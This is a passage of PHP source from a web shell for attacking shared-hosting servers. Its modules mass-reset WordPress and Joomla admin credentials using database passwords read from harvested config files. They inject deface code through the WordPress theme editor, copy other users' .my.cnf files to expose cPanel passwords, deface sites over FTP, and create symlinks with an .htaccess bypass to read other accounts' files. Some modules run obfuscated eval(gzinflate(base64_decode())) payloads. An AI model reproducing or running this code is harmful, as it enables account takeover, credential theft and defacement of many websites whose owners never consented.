  1270. $config=$pageURL."ciprut/".$owner["name"]."-Joomla.txt";
  1271.  
  1272. if(preg_match("%(JConfig|mosConfig)%",$cnf)){
  1273.  
  1274. if(preg_match("%JConfig%",$cnf)){
  1275. $username=Find($cnf,"\$user = '","'");
  1276. $password=Find($cnf,"\$password = '","'");
  1277. $dbname=Find($cnf,"\$db = '","'");
  1278. $prefix=Find($cnf,"\$dbprefix = '","'");
  1279. $link=mysql_connect("localhost",$username,$password);
  1280.  
  1281. if($link){
  1282. $hash=md5($pass);
  1283. mysql_select_db($dbname,$link);
  1284. $tab=$prefix."users";
  1285. $query2=@mysql_query("UPDATE `$tab` SET `username` ='$user'");
  1286. $query3=@mysql_query("UPDATE `$tab` SET `password` ='$hash'");
  1287. echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
  1288. false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">Joomla</a></td><td><font
  1289. color=\"green\">success..</font><br>";
  1290. } else {
  1291. echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
  1292. false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">Joomla</a></td><td><font color=\"red\">mysql
  1293. fail</font></td>";
  1294. }
  1295.  
  1296. }
  1297.  
  1298. elseif(preg_match("%mosConfig%",$cnf)){
  1299. $username=Find($cnf,"\$mosConfig_user = '","'");
  1300. $password=Find($cnf,"\$mosConfig_password = '","'");
  1301. $dbname=Find($cnf,"\$mosConfig_db = '","'");
  1302. $prefix=Find($cnf,"\$mosConfig_dbprefix = '","'");
  1303. $pwd=md5($npass);
  1304. $link=mysql_connect("localhost",$username,$password);
  1305.  
  1306. if($link){
  1307. $hash=md5($pass);
  1308. mysql_select_db($dbname,$link);
  1309. $tab=$prefix."users";
  1310. $query2=@mysql_query("UPDATE `$tab` SET `username` ='$user'");
  1311. $query3=@mysql_query("UPDATE `$tab` SET `password` ='$hash'");
  1312. echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
  1313. false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">Joomla</a></td><td><font
  1314. color=\"green\">success..</font><br>";
  1315. } else {
  1316. echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
  1317. false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">Joomla</a></td><td><font color=\"red\">mysql
  1318. fail</font></td>";
  1319. }
  1320.  
  1321. }
  1322.  
  1323. }
  1324.  
  1325. }
  1326.  
  1327. }
  1328.  
  1329. }
  1330.  
  1331. }
  1332.  
  1333. elseif(is_readable("/etc/passwd")){
  1334. echo"<table align=\"center\" border=\"1\" width=\"45%\" cellspacing=\"0\" cellpadding=\"4\">";
  1335. echo"<tr><td><b>DOMAIN</b></td><td>USER</td><td>CMS</td><td>STATUS</b></td>";
  1336. foreach($etcz as$etz){
  1337. $etcc=explode(":",$etz);
  1338.  
  1339. if(chk_header($pageURL."ciprut/".$etcc[0]."-WordPress.txt")){
  1340. $config=$pageURL."ciprut/".$owner["name"]."-WordPress.txt";
  1341. file_get_contents($pageURL."ciprut/".$etcc[0]."-WordPress.txt");
  1342. $cnf=file_get_contents($pageURL."ciprut/".$etcc[0]."-WordPress.txt");
  1343. $hostname=Find($cnf,"define('DB_HOST', '","');");
  1344. $username=Find($cnf,"define('DB_USER', '","');");
  1345. $password=Find($cnf,"define('DB_PASSWORD', '","');");
  1346. $dbname=Find($cnf,"define('DB_NAME', '","');");
  1347. $prefix=Find($cnf,"table_prefix = '","'");
  1348. $link=mysql_connect($hostname,$username,$password);
  1349.  
  1350. if($link){
  1351. $hash=crypt($user);
  1352. mysql_select_db($dbname,$link);
  1353. $req=mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");
  1354. $data=mysql_fetch_array($req);
  1355. $site_url=$data["option_value"];
  1356. $tab=$prefix."users";
  1357. $query2=@mysql_query("UPDATE `$tab` SET `user_login` ='$user'");
  1358. $query3=@mysql_query("UPDATE `$tab` SET `user_pass` ='$hash'");
  1359. error_reporting(0);
  1360. echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
  1361. false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">WordPress</a></td><td><font
  1362. color=\"green\">success..</font><br>";
  1363. } else {
  1364. echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
  1365. false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">WordPress</a></td><td><font color=\"red\">mysql
  1366. fail</font></td>";
  1367. }
  1368.  
  1369. }
  1370.  
  1371. elseif(chk_header($pageURL."ciprut/".$etcc[0]."-Joomla.txt")){
  1372. $cnf=file_get_contents($pageURL."ciprut/".$etcc[0]."-Joomla.txt");
  1373. $config=$pageURL."ciprut/".$owner["name"]."-Joomla.txt";
  1374.  
  1375. if(preg_match("%(JConfig|mosConfig)%",$cnf)){
  1376.  
  1377. if(preg_match("%JConfig%",$cnf)){
  1378. $username=Find($cnf,"\$user = '","'");
  1379. $password=Find($cnf,"\$password = '","'");
  1380. $dbname=Find($cnf,"\$db = '","'");
  1381. $prefix=Find($cnf,"\$dbprefix = '","'");
  1382. $site_url=Find($cnf,"\$mailfrom = '","'");
  1383. $site_url=explode("@",$site_url);
  1384. $link=mysql_connect("localhost",$username,$password);
  1385.  
  1386. if($link){
  1387. $hash=md5($pass);
  1388. mysql_select_db($dbname,$link);
  1389. $tab=$prefix."users";
  1390. $query2=@mysql_query("UPDATE `$tab` SET `username` ='$user'");
  1391. $query3=@mysql_query("UPDATE `$tab` SET `password` ='$hash'");
  1392. echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
  1393. false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">Joomla</a></td><td><font
  1394. color=\"green\">success..</font><br>";
  1395. } else {
  1396. echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
  1397. false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">Joomla</a></td><td><font color=\"red\">mysql
  1398. fail</font></td>";
  1399. }
  1400.  
  1401. }
  1402.  
  1403. elseif(preg_match("%mosConfig%",$cnf)){
  1404. $username=Find($cnf,"\$mosConfig_user = '","'");
  1405. $password=Find($cnf,"\$mosConfig_password = '","'");
  1406. $dbname=Find($cnf,"\$mosConfig_db = '","'");
  1407. $prefix=Find($cnf,"\$mosConfig_dbprefix = '","'");
  1408. $site_url=Find($cnf,"\$mailfrom = '","'");
  1409. $site_url=explode("@",$site_url);
  1410. $link=mysql_connect("localhost",$username,$password);
  1411.  
  1412. if($link){
  1413. $hash=md5($pass);
  1414. mysql_select_db($dbname,$link);
  1415. $tab=$prefix."users";
  1416. $query2=@mysql_query("UPDATE `$tab` SET `username` ='$user'");
  1417. $query3=@mysql_query("UPDATE `$tab` SET `password` ='$hash'");
  1418. echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
  1419. false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">Joomla</a></td><td><font
  1420. color=\"green\">success..</font><br>";
  1421. } else {
  1422. echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
  1423. false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">Joomla</a></td><td><font color=\"red\">mysql
  1424. fail</font></td>";
  1425. }
  1426.  
  1427. }
  1428.  
  1429. }
  1430.  
  1431. }
  1432.  
  1433. }
  1434.  
  1435. }
  1436.  
  1437. }
  1438.  
  1439. break;
  1440. case"wp_def":
  1441. $user="admin";
  1442. $pass="foo";
  1443. echo"<div align=\"center\">
  1444. <form action=\"\" method=\"POST\">
  1445. <label>Deface URL: </label> <input type=\"text\" style=\"width:450px;\" name=\"deface_page\"><br />
  1446. <input type=\"submit\" value=\"DEFACE\">
  1447. </form>
  1448. ";
  1449.  
  1450. if($_POST){
  1451. $deface=file_get_contents(trim($_POST["deface_page"]));
  1452.  
  1453. if(is_readable("/var/named")){
  1454. echo"<table align=\"center\" border=\"1\" width=\"45%\" cellspacing=\"0\" cellpadding=\"4\">";
  1455. echo"<tr><td><b>DOMAIN</b></td><td>USER</td><td>CMS</td><td>STATUS</b></td><td>DEF URL</td>";
  1456. $list=scandir("/var/named");
  1457. foreach($list as$domain){
  1458.  
  1459. if(strpos($domain,".db")){
  1460. $domain=str_replace(".db","",$domain);
  1461. $owner=posix_getpwuid(fileowner("/etc/valiases/".$domain));
  1462. $url="http://".$domain;
  1463.  
  1464. if(chk_header($pageURL."ciprut/".$owner["name"]."-WordPress.txt")){
  1465. $config=$pageURL."ciprut/".$owner["name"]."-WordPress.txt";
  1466. file_get_contents($pageURL."ciprut/".$owner["name"]."-WordPress.txt");
  1467. $cnf=file_get_contents($pageURL."ciprut/".$owner["name"]."-WordPress.txt");
  1468. $hostname=Find($cnf,"define('DB_HOST', '","');");
  1469. $username=Find($cnf,"define('DB_USER', '","');");
  1470. $password=Find($cnf,"define('DB_PASSWORD', '","');");
  1471. $dbname=Find($cnf,"define('DB_NAME', '","');");
  1472. $prefix=Find($cnf,"table_prefix = '","'");
  1473. $link=mysql_connect($hostname,$username,$password);
  1474.  
  1475. if($link){
  1476. $hash=crypt($pass);
  1477. mysql_select_db($dbname,$link);
  1478. $tab=$prefix."users";
  1479. $query2=@mysql_query("UPDATE `$tab` SET `user_login` ='$user'");
  1480. $query3=@mysql_query("UPDATE `$tab` SET `user_pass` ='$hash'");
  1481. $req=@mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");
  1482. $data=mysql_fetch_array($req);
  1483. $site_url=$data["option_value"];
  1484. error_reporting(0);
  1485. echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
  1486. false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">WordPress</a></td><td><font color=\"green\">[#]
  1487. User Pass Changed </font><br>";
  1488. $post="log=admin&pwd=foo&rememberme=forever&wp-submit=Log In&testcookie=1";
  1489. $def="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($deface))))."')));
  1490. exit; ?>";
  1491. $buffer0=CurlPage($site_url."/wp-login.php",$post);
  1492.  
  1493. if(!preg_match("/logout/i",$buffer0)){
  1494. echo"<font color='red'>[X] FAILED TO LOGIN</font><br />";
  1495. } else {
  1496. echo"<font color='green'>[#] LOGGED IN :D</font><br>";
  1497. $urlz=$site_url."/wp-admin/theme-editor.php";
  1498. $themeditor=CurlPage($urlz,$cookie,null);
  1499.  
  1500. if(preg_match("/update file/i",$themeditor)){
  1501. echo"theme-editor opened<br /></td>";
  1502. } else {
  1503. echo"error
  1504. opening theme edtitor!</td>";
  1505. }
  1506.  
  1507. $nola=explode(Chr(10),$themeditor);
  1508. foreach($nola as$nline){
  1509.  
  1510. if(preg_match("%theme-editor\.php\\?file=%",$nline)&&preg_match("%\\((404\\.php|archive\\.php|comment\.php)\)%",strtolower($nline))){
  1511. $modify[Find($nline,"(",")")]=Find($nline,"<a href=\"","\"");
  1512. }
  1513.  
  1514. }
  1515.  
  1516. echo"<td>";
  1517.  
  1518. if(is_array($modify)){
  1519. foreach($modify as$met=>$indfile){
  1520. $nri=str_replace(".","_",$met);
  1521. $nri="n".$nri;
  1522. $indfile=str_replace("&amp;","&",$indfile);
  1523. $url=trim($site_url."/wp-admin/".$indfile);
  1524. $themepage=CurlPage($url,"");
  1525. $_wpnonce=Find($themepage,"name=\"_wpnonce\" value=\"","\"");
  1526. $_file=Find($themepage,"name=\"file\" value=\"","\"");
  1527. $nfile=explode("themes",$_file);
  1528. $jfile=$site_url."/wp-content/themes".end($nfile);
  1529. $url=$site_url."/wp-admin/theme-editor.php";
  1530. $postme="newcontent=".$def."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File";
  1531. $themedied=CurlPage($url,$postme);
  1532.  
  1533. if(preg_match("%<div id=\"message\" class=\"updated\">%",$themedied)){
  1534. $theme=Find($themeditor,"<li><a href=\"theme-editor.php?file=404.php&amp;theme=","\">404 Template");
  1535.  
  1536. if(preg_match("/twenty ten/i",$theme)){
  1537. $theme="twentyten";
  1538. }
  1539.  
  1540. elseif(preg_match("/twenty eleven/i",$theme)){
  1541. $theme="twentyeleven";
  1542. }
  1543.  
  1544. $theme=trim(str_replace("/","",$theme));
  1545. $d=$site_url."/wp-content/themes/".$theme."/404.php";
  1546. listall("wp.txt",$d.Chr(10));
  1547. }
  1548.  
  1549. }
  1550.  
  1551. echo"<a href=".$d.">LINK</a><br />";
  1552. echo"</td>";
  1553. }
  1554.  
  1555. }
  1556.  
  1557. } else {
  1558. echo"<tr><td><a href=".$url." onclick=\"window.open(this.href);return
  1559. false;\">".$domain."</a></td><td>".$owner["name"]."</td><td><a href=".$config.">WordPress</a></td><td><font color=\"red\">[x]
  1560. mysql fail</font></td>";
  1561. }
  1562.  
  1563. }
  1564.  
  1565. }
  1566.  
  1567. }
  1568.  
  1569. }
  1570.  
  1571. }
  1572.  
  1573. break;
  1574. case"uploader":
  1575. echo"<center><form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">";
  1576. echo"<center><input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\"
  1577. value=\"Upload\"></form></center>";
  1578.  
  1579. if($_POST["_upl"]=="Upload"){
  1580.  
  1581. if(@copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"])){
  1582. echo"<p align=\"center\"><font face=\"Verdana\"
  1583. size=\"1\"><font color=\"white\"> Done !!</font><br>";
  1584. } else {
  1585. echo"<font color=\"#FF0000\">Failed :( </font></p>
  1586. </td></table></tr>
  1587. ";
  1588. }
  1589.  
  1590. }
  1591.  
  1592. }
  1593.  
  1594. }
  1595. }
  1596. elseif(isset($_GET['x']) && ($_GET['x'] == 'private')){
  1597. ?>
  1598. <form action="?y=<?php echo $pwd; ?>&amp;x=private" method="post">
  1599. <b><center>love you Salsha :* i have (mpc)</b>
  1600. </form>
  1601.  
  1602. <?php }
  1603.  
  1604.  
  1605. elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){
  1606. @ob_start();
  1607. @eval("phpinfo();");
  1608. $buff = @ob_get_contents();
  1609. @ob_end_clean();
  1610. $awal = strpos($buff,"<body>")+6;
  1611. $akhir = strpos($buff,"</body>");
  1612. echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
  1613. }
  1614. elseif(isset($_GET['view']) && ($_GET['view'] != "")){
  1615. if(is_file($_GET['view'])){
  1616. if(!isset($file)) $file = magicboom($_GET['view']);
  1617. if(!$win && $posix){
  1618. $name=@posix_getpwuid(@fileowner($folder));
  1619. $group=@posix_getgrgid(@filegroup($folder));
  1620. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  1621. }
  1622. else {
  1623. $owner = $user;
  1624. }
  1625. $filn = basename($file);
  1626. echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
  1627. <tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
  1628. <form action=\"?y=".$pwd."&amp;view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  1629. <input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
  1630. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
  1631. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  1632. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
  1633. </form>
  1634. </td></tr>
  1635. <tr><td>Size</td><td>".ukuran($file)."</td></tr>
  1636. <tr><td>Permission</td><td>".get_perms($file)."</td></tr>
  1637. <tr><td>Owner</td><td>".$owner."</td></tr>
  1638. <tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
  1639. <tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
  1640. <tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
  1641. <tr><td>Actions</td><td><a href=\"?y=$pwd&amp;edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$file\">delete</a> | <a href=\"?y=$pwd&amp;dl=$file\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$file\">gzip</a>)</td></tr>
  1642. <tr><td>View</td><td><a href=\"?y=".$pwd."&amp;view=".$file."\">text</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=code\">code</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=image\">image</a></td></tr>
  1643. </table>
  1644. ";
  1645. if(isset($_GET['type']) && ($_GET['type']=='image')){
  1646. echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&amp;img=".$filn."\"></div>";
  1647. }
  1648. elseif(isset($_GET['type']) && ($_GET['type']=='code')){
  1649. echo "<div class=\"viewfile\">";
  1650. $file = wordwrap(@file_get_contents($file),"240","\n");
  1651. @highlight_string($file);
  1652. echo "</div>";
  1653. }
  1654. else {
  1655. echo "<div class=\"viewfile\">";
  1656. echo nl2br(htmlentities((@file_get_contents($file))));
  1657. echo "</div>";
  1658. }
  1659. }
  1660. elseif(is_dir($_GET['view'])){
  1661. echo showdir($pwd,$prompt);
  1662. }
  1663.  
  1664. }
  1665. //////////////////////////////////////////////////
  1666. elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){
  1667.  
  1668. if(isset($_POST['save'])){
  1669. $file = $_POST['saveas'];
  1670. $content = magicboom($_POST['content']);
  1671. if($filez = @fopen($file,"w")){
  1672. $time = date("d-M-Y H:i",time());
  1673. if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
  1674. else $msg = "failed to save";
  1675. @fclose($filez);
  1676. }
  1677. else $msg = "permission denied";
  1678. }
  1679. if(!isset($file)) $file = $_GET['edit'];
  1680. if($filez = @fopen($file,"r")){
  1681. $content = "";
  1682. while(!feof($filez)){
  1683. $content .= htmlentities(str_replace("''","'",fgets($filez)));
  1684. }
  1685. @fclose($filez);
  1686. }
  1687.  
  1688. ?>
  1689. <form action="?y=<?php echo $pwd; ?>&amp;edit=<?php echo $file; ?>" method="post">
  1690. <table class="cmdbox">
  1691. <tr><td colspan="2">
  1692. <textarea class="output" name="content">
  1693. <?php echo $content; ?>
  1694. </textarea>
  1695. <tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
  1696. &nbsp;<?php echo $msg; ?></td></tr>
  1697. </table>
  1698. </form>
  1699. <?php
  1700. }
  1701. elseif(isset($_GET['x']) && ($_GET['x'] == 'logout'))
  1702. {
  1703. ?>
  1704. <form action="?y=<?php echo $pwd; ?>&amp;x=logout" method="post">
  1705.  
  1706. <?php
  1707. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  1708. echo '<center><b>logged out</b></center>';
  1709. }
  1710. elseif(isset($_GET['x']) && ($_GET['x'] == 'cpanel'))
  1711. {
  1712. ?>
  1713.  
  1714. <a href="?<?php echo "path=".$path; ?>&amp;x=brute><input class=inputzbut type=submit value="cpanel bruteforce" /></a>
  1715. <a href="?<?php echo "path=".$path; ?>&amp;x=cpcrack"><input class=inputzbut type=submit value="cpanel finder/cracker" /></a><br>
  1716. <a href="?<?php echo "path=".$path; ?>&amp;x=cpdef"><input class=inputzbut type=submit value="cpanel deface" /></a>
  1717. <a href="?<?php echo "path=".$path; ?>&amp;x=brute"><input class=inputzbut type=submit value="cpanel brute force" /></a>
  1718. <?php
  1719. }
  1720. elseif(isset($_GET['x']) && ($_GET['x'] == 'cpcrack'))
  1721. {
  1722. ?>
  1723. <form action="?y=<?php echo $pwd; ?>&amp;x=brute" method="post">
  1724. <?php
  1725.  
  1726. @ini_set('display_errors',0);
  1727. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  1728. $ar0=explode($marqueurDebutLien, $text);
  1729. $ar1=explode($marqueurFinLien, $ar0[$i]);
  1730. return trim($ar1[0]);
  1731. }
  1732.  
  1733. echo '<h1>Cpanel Finder/Cracker</h1><br/>';
  1734.  
  1735. echo "<center>";
  1736. $d0mains = @file('/etc/named.conf');
  1737. $domains = scandir("/var/named");
  1738.  
  1739. if ($domains or $d0mains)
  1740. {
  1741. $domains = scandir("/var/named");
  1742. if($domains) {
  1743. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  1744. $count=1;
  1745. $dc = 0;
  1746. $list = scandir("/var/named");
  1747. foreach($list as $domain){
  1748. if(strpos($domain,".db")){
  1749. $domain = str_replace('.db','',$domain);
  1750. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  1751. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  1752. $path = getcwd();
  1753.  
  1754. if (is_readable($dirz)) {
  1755. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  1756. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  1757. $password=entre2v2($p,'password="','"');
  1758. echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  1759. $dc++;
  1760. }
  1761.  
  1762. }
  1763. }
  1764. echo '</table>';
  1765. $total = $dc;
  1766. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  1767. echo '</center>';
  1768. }else{
  1769. $d0mains = @file('/etc/named.conf');
  1770. if($d0mains) {
  1771. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  1772. $count=1;
  1773. $dc = 0;
  1774. $mck = array();
  1775. foreach($d0mains as $d0main){
  1776. if(@eregi('zone',$d0main)){
  1777. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  1778. flush();
  1779. if(strlen(trim($domain[1][0])) >2){
  1780. $mck[] = $domain[1][0];
  1781. }
  1782. }
  1783. }
  1784. $mck = array_unique($mck);
  1785. $usr = array();
  1786. $dmn = array();
  1787. foreach($mck as $o) {
  1788. $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  1789. $usr[] = $infos['name'];
  1790. $dmn[] = $o;
  1791. }
  1792. array_multisort($usr,$dmn);
  1793. $dt = file('/etc/passwd');
  1794. $passwd = array();
  1795. foreach($dt as $d) {
  1796. $r = explode(':',$d);
  1797. if(strpos($r[5],'home')) {
  1798. $passwd[$r[0]] = $r[5];
  1799. }
  1800. }
  1801. $l=0;
  1802. $j=1;
  1803. foreach($usr as $r) {
  1804. $dirz = '/home/'.$r.'/.my.cnf';
  1805. $path = getcwd();
  1806. if (is_readable($dirz)) {
  1807. copy($dirz, ''.$path.'/'.$r.'.txt');
  1808. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  1809. $password=entre2v2($p,'password="','"');
  1810. echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  1811. $dc++;
  1812. flush();
  1813. $l=$l?0:1;
  1814. $j++;
  1815. }
  1816. }
  1817. }
  1818. echo '</table>';
  1819. $total = $dc;
  1820. echo '<br><h3>Total cPanel Found = '.$total.'</h3><br />';
  1821. echo '</center>';
  1822.  
  1823. }
  1824. }else{
  1825. echo "<h3><i><font color='red'>ERROR</font><br><font color='red'>/var/named</font> or <font color='red'>etc/named.conf</font> Not Accessible!</i></h3>";
  1826. }
  1827.  
  1828. echo "</body></html>";
  1829. ?>
  1830. <?php }
  1831. elseif(isset($_GET['x']) && ($_GET['x'] == 'cpdef'))
  1832. {
  1833. ?>
  1834. <form action="?path=<?php echo $path; ?>&amp;x=cpdef" method="post">
  1835. <?php
  1836. $head = '<html>
  1837. <head>
  1838. <title>Auto Cpanel Defacer</title>
  1839. <script language=\'javascript\'>
  1840. function hide_div(id)
  1841. {
  1842. document.getElementById(id).style.display = \'none\';
  1843. document.cookie=id+\'=0;\';
  1844. }
  1845. function show_div(id)
  1846. {
  1847. document.getElementById(id).style.display = \'block\';
  1848. document.cookie=id+\'=1;\';
  1849. }
  1850. function change_divst(id)
  1851. {
  1852. if (document.getElementById(id).style.display == \'none\')
  1853. show_div(id);
  1854. else
  1855. hide_div(id);
  1856. }
  1857. </script>'; ?>
  1858. <html>
  1859. <head>
  1860. <?php
  1861. echo $head ;
  1862. echo '
  1863.  
  1864. <table width="100%" cellspacing="0" cellpadding="0" class="tb1" >
  1865. <td width="100%" align=center valign="top" rowspan="1">
  1866. <div class="hedr">
  1867. <td height="10" align="left" class="td1"></td></tr><tr><td width="100%" align="center" valign="top" rowspan="1"><font color="red" face="comic sans ms"size="1"><b>
  1868. <br><font face="Andalus" size="4" color=#58FAF4>Cpanel Auto Defacer</font><br>
  1869. <br><br>
  1870. <font color="RED" face="gothic" size="3"></font><br>
  1871. </table>
  1872. ';
  1873. ?>
  1874.  
  1875.  
  1876. <body bgcolor=black><h6 style="text-align:center"><font color=white>
  1877. <p><form method=post>
  1878. server ip:&nbsp<input class=inputzbut type=text name=hi value=ip>
  1879. username:&nbsp<input class=inputzbut type=text name=tx value=>&nbsp&nbsp
  1880. password:<input class=inputzbut type=text name=p value=><p>
  1881. file that you want to deface: <input class=inputzbut type=text name=ph value="index.php">
  1882. <p><font color=red size=3>Deface page link : </font>
  1883. <textarea rows=1 cols=50 class=inputzbut name=deface value="your daface page link">
  1884. </textarea>
  1885. <p><input class=inputzbut type=submit name=sm value="Submit" /><br>
  1886. </form>
  1887. <?php
  1888.  
  1889. if(isset($_POST['sm']))
  1890. {
  1891. $ip=trim($_POST['hi']);
  1892. $u=trim($_POST['tx']);
  1893. $p=trim($_POST['p']);
  1894. $d=trim($_POST['ph']);
  1895. $df=trim($_POST['deface']);
  1896. echo "<br><font color=white size=2>";
  1897. echo "<font color=red size=3>server ip :</font>&nbsp".$ip;
  1898. echo "<br><font color=red size=3>user :</font> &nbsp".$u;
  1899. echo "<br><font color=red size=3>password :</font> &nbsp".$p;
  1900. echo "<br><font color=red size=3>dirctory :</font> &nbsp".$d;
  1901. echo "<br><font color=red size=3>deface link :</font><br>".$df."<br>";
  1902. $dl="public_html/".$d;
  1903. $si= ftp_connect($ip);
  1904.  
  1905. $try= ftp_login($si,$u,$p);
  1906. if ((!$si) || (!$try))
  1907. {
  1908. echo "<br>could not connected :(";
  1909. exit;
  1910. }
  1911. else
  1912. {
  1913. echo "<br>connection done<br><br>";
  1914. }
  1915. $deface = ftp_put($si, $dl , $df, FTP_BINARY);
  1916. if ($deface)
  1917. {
  1918. echo "hell yesh page got defaced successfully";
  1919. }
  1920. else
  1921. {
  1922. echo "try manually :(";
  1923. }
  1924. }
  1925. ?>
  1926. </strong>
  1927. </td>
  1928. </tr>
  1929. <tr>
  1930. <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>
  1931. <td valign="top" bgcolor="#151515" colspan="5">
  1932. <strong>
  1933. <form method="POST" target="_blank">
  1934. <strong>
  1935. <input name="matikan" type="hidden" value="sekatan">
  1936. </strong>
  1937.  
  1938. <?php
  1939. if(''==($func=@ini_get('disable_functions')))
  1940. {
  1941. echo "<font color=white>No Security for Function</font></b>";
  1942. }else{
  1943. echo '<script>alert("Please see below and press >Please Click Here First!<");</script>';
  1944. echo "<font color=red>$func</font></b>";
  1945. echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
  1946. echo '<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
  1947. </strong>
  1948. </td></tr>';
  1949. }
  1950. ?></strong></td></tr></table></table></table>
  1951. <?php
  1952. }
  1953. ///////////////////////////////////////////////////////////////////////////
  1954. elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping')){ @eval(gzinflate(base64_decode($jumper))); "</div>"; }
  1955. elseif(isset($_GET['x']) && ($_GET['x'] == 'zonekerupuk')){ @eval(gzinflate(base64_decode($zonekerupuk))); "</div>"; }
  1956. #################################################################
  1957. ########################################
  1958. ########################
  1959. #####################
  1960. # START HERE
  1961. //ini sym file
  1962. ////////////////////////////////////////////////////////////////////////////////////////////////////////////
  1963. elseif(isset($_GET['x']) && ($_GET['x'] == 'sf')) {@set_time_limit(0);@mkdir('sym',0777);error_reporting(0);
  1964. $htaccess = "Options all \n DirectoryIndex gaza.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  1965. $op =@fopen ('sym/.htaccess','w');
  1966. fwrite($op ,$htaccess);
  1967. echo '<br><br><center><h2>Symlink File !</h2></center><center><br>
  1968. <div class="mybox"><h2 class="k2ll33d2">Symlink</h2><br>
  1969. <form method="post"> File Path:<br>
  1970. <input class="inputz" type="text" name="file" value="/home/user/public_html/config.php" size="60"/>
  1971. <br>Symlink Name<br><input class="inputz" type="text" name="symfile" value="s.txt" size="60"/><br><br>
  1972. <input class="inputzbut" type="submit" value="symlink" name="symlink" /><br><br></form></div></center>';
  1973. $target = $_POST['file'];
  1974. $symfile = $_POST['symfile'];
  1975. $symlink = $_POST['symlink'];
  1976. if ($symlink) {@symlink("$target","sym/$symfile");
